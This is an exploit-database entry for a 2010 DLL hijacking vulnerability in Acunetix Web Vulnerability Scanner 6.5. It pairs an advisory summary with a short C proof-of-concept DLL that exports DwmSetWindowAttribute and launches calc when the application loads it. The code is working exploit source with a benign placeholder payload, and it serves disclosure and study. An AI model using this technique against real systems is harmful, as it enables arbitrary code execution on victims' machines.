Acunetix Web Vulnerability Scanner - DLL Loading Arbitrary Code Execution

Author: Kolor
type: webapps
platform: windows
port: 
date_added: 2010-08-25 
date_updated: 2014-09-03 
verified: 1 
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// source: https://www.securityfocus.com/bid/42697/info

Acunetix Web Vulnerability Scanner is prone to a vulnerability that lets attackers execute arbitrary code.

An attacker can exploit this issue by enticing a legitimate user to use the vulnerable application to open a file from a network share location that contains a specially crafted Dynamic Link Library (DLL) file.

Acunetix Web Vulnerability Scanner 6.5.20100616 is vulnerable; other versions may also be affected.

// Exploit Title: Acunetix Web Vulnerability Scanner DLL Hijack
// Date: 25 Aug 2010
// Author: Kolor
// Software Link: http://www.acunetix.com/vulnerability-scanner/vulnerabilityscanner65.exe
// Version: 6.5.20100616
// Tested on: Windows 7 64bit Eng
// Vuln ext.: .WVS (saved report)

#include <windows.h>
#define DllExport __declspec (dllexport)
DllExport void DwmSetWindowAttribute() { egg(); }

int egg()
{
	system ("calc");
		exit(0);
		return 0;
}